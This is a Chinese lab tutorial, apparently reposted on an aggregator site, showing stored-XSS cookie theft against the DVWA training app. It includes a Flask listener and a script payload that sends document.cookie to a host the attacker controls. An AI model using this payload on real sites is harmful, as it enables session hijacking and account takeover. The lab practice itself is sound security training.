使用存儲型 XSS 竊取 cookie 并發送到你控制的服務器

🧪 第一步:準備監聽服務接收 cookie

在你的本機(非容器)或 DVWA 所在主機運行以下 Python 監聽代碼,用于接收竊取的 cookie:

啟動 HTTP 接收服務

# 在本機終端運行,監聽 8081 端口(確保防火墻允許)
python3 -m http.server 8081

在這里插入圖片描述
注意:CentOS 7 默認開啟了 firewalld,你需要允許 8081 端口訪問:

firewall-cmd --add-port=8081/tcp --permanent
firewall-cmd --reload

確認能訪問你的監聽服務器:

curl http://《監聽機IP》:8081

在這里插入圖片描述

或者你也可以用 Flask 搭建更真實的監聽:

# listener.py
from flask import Flask, requestapp = Flask(__name__)@app.route('/log')
def log():cookie = request.args.get('c')print(f"Stolen cookie: {cookie}")return '', 204if __name__ == '__main__':app.run(host='0.0.0.0', port=8081)

運行:

python3 listener.py

🧪 第二步:注入 Payload 到 DVWA 的 Stored XSS 頁面

1.拉取 DVWA 鏡像并運行:docker run --rm -it -p 8080:80 vulnerables/web-dvwa
2.打開瀏覽器訪問你的 DVWA:http://localhost:8080/vulnerabilities/xss_s/
3.將以下 payload 作為留言輸入:

🍪 Cookie 竊取 Payload:

<script>new Image().src="http://<你的主機IP>:8081/log?c="+document.cookie;
</script>

替換 <你的主機IP> 為你運行監聽服務的真實 IP 地址。容器里訪問主機可以用:

Linux 宿主:172.17.0.1

Windows/macOS Docker:host.docker.internal(需要開啟端口映射)

在這里插入圖片描述

? 第三步:觸發注入點

1.提交留言后,訪問該頁面會觸發腳本

2.你監聽服務的終端中應會看到類似輸出:

Stolen cookie: security=low; PHPSESSID=abcd1234xyz

在這里插入圖片描述

如果能看到 cookie 值被打印,就說明 成功竊取 cookie 并 exfiltrate 出去了。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/85025.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/85025.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/85025.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

WebDebugX和多工具組合的移動端調試流程構建:一個混合App項目的實踐案例

前段時間參與了一個跨平臺的醫療服務 App 項目&#xff0c;整體架構采用 Flutter 封裝原生模塊&#xff0c;部分功能模塊嵌套 WebView 加載 H5 頁面。開發過程中我們頻繁遇到 Web 頁面在移動端表現異常的問題&#xff0c;比如樣式錯亂、請求失敗、性能延遲等&#xff0c;而這些…

圖形編輯器基于Paper.js教程29:基于圖層的所有矢量圖元的填充規則實現

背景 在lightburn中&#xff0c;對于填充圖層&#xff0c;有這樣一個隱藏的邏輯&#xff0c;那就是&#xff0c;在加工時&#xff0c;填充規則是以填充圖層的所有元素進行計算的&#xff0c;什么意思那&#xff1f; 如果你在填充圖層中畫了兩個圖形&#xff0c;一個圓&#xf…

Python 函數實戰指南:提升編程效率的實用技巧

在 Python 編程的世界里&#xff0c;函數是構建高效代碼的基石。掌握實用的函數技巧不僅能讓代碼更加簡潔優雅&#xff0c;還能顯著提升開發效率。我們一起將結合實際案例&#xff0c;深入剖析 Python 函數的使用技巧&#xff0c;幫助開發者在日常開發中事半功倍。 一、基礎函數…

OPenCV CUDA模塊圖形變換----構建透視變換映射表函數buildWarpPerspectiveMaps()

操作系統&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 編程語言&#xff1a;C11 算法描述 該函數用于構建一個透視變換&#xff08;Perspective Transform&#xff09;的映射表&#xff08;xmap / ymap&#xff09;&#xff0c;可用于后…

tcping工具使用指南

tcping是一個用于測試TCP端口連通性的工具&#xff0c;它類似于傳統的ping命令&#xff0c;但工作在傳輸層(TCP)而不是網絡層(ICMP)。 基本功能 tcping的主要功能包括&#xff1a; 測試目標主機特定TCP端口是否開放 測量TCP連接建立時間 統計丟包率和響應時間 安裝方法 …

CSP 2024 入門級第一輪(88.5)

4. 以下哪個序列對應數字 00 至 88 的 44 位二進制格雷碼&#xff08;Gray code&#xff09;&#xff1f;&#xff08; &#xff09; A. 0000, 0001, 0011, 0010, 0110, 0111, 0101, 1000 B. 0000, 0001, 0011, 0010, 0110, 0111, 0100, 0101 C. 0000, 0001, 0011, 0010, …

三菱FX-5U系列入門到精通

第2章 中間繼電器 繼電器工作模式:線圈得電,常開觸點閉合,常閉觸點斷開。總結:中間繼電器線圈電壓分為:24VDC 110VAC 220VAC 380VAC PLC控制柜中常用的是24VDC比較多,而動力電柜中或者控制風機水泵的電柜中220VAC比較多。大部分選擇24VDC,然后用觸點控制220或者380,說白…

簡歷模板1——王明 | 高級數據挖掘工程師 | 5年經驗

王明 | 高級數據挖掘工程師 | 5年經驗 &#x1f4f1; (86) 189-xxxx-xxxx | &#x1f4e7; wangmingemail.com | &#x1f4cd; 深圳市 &#x1f4bb; GitHub | &#x1f454; LinkedIn &#x1f4bc; 工作經歷 ?科技前沿集團 | 高級數據挖掘工程師 &#x1f4c5; 2021.06 …

【JVM】- 內存模式

Java內存模型&#xff1a;JMM&#xff08;Java Memory Model&#xff09;&#xff0c;定義了一套在多線程環境下&#xff0c;讀寫共享數據&#xff08;成員變量、數組&#xff09;時&#xff0c;對數據的可見性&#xff0c;有序性和原子性的規則和保障。 原子性 問題分析 【問…

AQS獨占模式——資源獲取和釋放源碼分析

AQS資源獲取&#xff08;獨占模式&#xff09; Node節點類 static final class Node {//標記當前節點的線程在共享模式下等待。static final Node SHARED new Node();//標記當前節點的線程在獨占模式下等待。static final Node EXCLUSIVE null;//waitStatus的值&#xff0c…

壓測過程中TPS上不去可能是什么原因

進行性能分析 接口沒有報錯或者錯誤率低于1%&#xff0c;繼續增加并發還是一樣&#xff0c;這個時候需要考慮幾點 1.是否觸發限流&#xff0c;比如waf、Nginx等情況&#xff0c;有沒有一些限流的情況&#xff0c;如果觸發了限流&#xff0c;請求是沒有達到后端的&#xff0c;所…

Golang 解大整數乘法

文章目錄 Golang 解大整數乘法問題描述&#xff1a;LeetCode 43. 字符串相乘思路Golang 代碼 Golang 解大整數乘法 在初學 C 語言的時候&#xff0c;我們一定接觸過“字符串相加”或“字符串相乘”之類的問題&#xff0c;對于初學者而言&#xff0c;這類問題的難度一般來說是比…

web3-區塊鏈的技術安全/經濟安全以及去杠桿螺旋(經濟穩定)

web3-區塊鏈的技術安全/經濟安全以及去杠桿螺旋&#xff08;經濟穩定&#xff09; 三個基本設計問題 技術安全 在技術結構中對其進行原子級的、瞬時利用&#xff08;無風險&#xff09; 無風險&#xff0c;因為攻擊者的結果還是二進制的&#xff1a; 只會是攻擊成功 獲利或…

Java多線程通信:wait/notify與sleep的深度剖析(時序圖詳解)

在Java多線程編程中&#xff0c;線程間的通信與協作是實現復雜并發邏輯的關鍵。wait()、notify()以及sleep()方法作為線程控制的重要工具&#xff0c;有著各自獨特的使用場景與規則。本文將深入探討wait()和notify()的協作機制&#xff0c;以及sleep()的阻塞特性&#xff0c;同…

關于使用EasyExcel、 Vue3實現導入導出功能

后端部分: 其中查詢數據的服務省略 1、引用 <dependency><groupId>com.alibaba</groupId><artifactId>easyexcel</artifactId><version>3.3.3</version></dependency> 2、controller package com.rs.cphs.sys.controller;i…

機器學習中的數據準備關鍵技術

有效的數據準備對于構建強大的機器學習模型至關重要。本文檔總結并闡述了為監督和非監督學習任務準備數據的關鍵技術。 1. 理解數據類型 有兩種數據類型。定性數據描述對象的特征&#xff0c;而定量數據描述對象的數量。 定性&#xff08;分類&#xff09;數據 名義&#x…

深度學習——基于卷積神經網絡實現食物圖像分類【3】(保存最優模型)

文章目錄 引言一、項目概述二、環境配置三、數據預處理3.1 數據轉換設置3.2 數據集準備 四、自定義數據集類五、CNN模型架構六、訓練與評估流程6.1 訓練函數6.2 評估與模型保存 七、完整訓練流程八、模型保存與加載8.1 保存模型8.2 加載模型 九、優化建議十、常見問題解決十一、…

《棒球百科》棒球怎么玩·棒球9號位

用最簡單的方式介紹棒球的核心玩法和規則&#xff0c;完全零基礎也能看懂&#xff1a; 一句話目標 進攻方&#xff1a;用球棒把球打飛&#xff0c;然后拼命跑完4個壘包&#xff08;逆時針繞一圈&#xff09;得分。 防守方&#xff1a;想盡辦法讓進攻方出局&#xff0c;阻止他…

語言模型是怎么工作的?通俗版原理解讀!

大模型為什么能聊天、寫代碼、懂醫學&#xff1f; 我們從四個關鍵模塊&#xff0c;一步步拆開講清楚 &#x1f447; ? 模塊一&#xff1a;模型的“本事”從哪來&#xff1f;靠訓練數據 別幻想它有意識&#xff0c;它的能力&#xff0c;全是“喂”出來的&#xff1a; 吃過成千…

nrf52811墨水屏edp_service.c文件學習

on_connect函數 /**brief Function for handling the ref BLE_GAP_EVT_CONNECTED event from the S110 SoftDevice.** param[in] p_epd EPD Service structure.* param[in] p_ble_evt Pointer to the event received from BLE stack.*/ static void on_connect(ble_epd_t …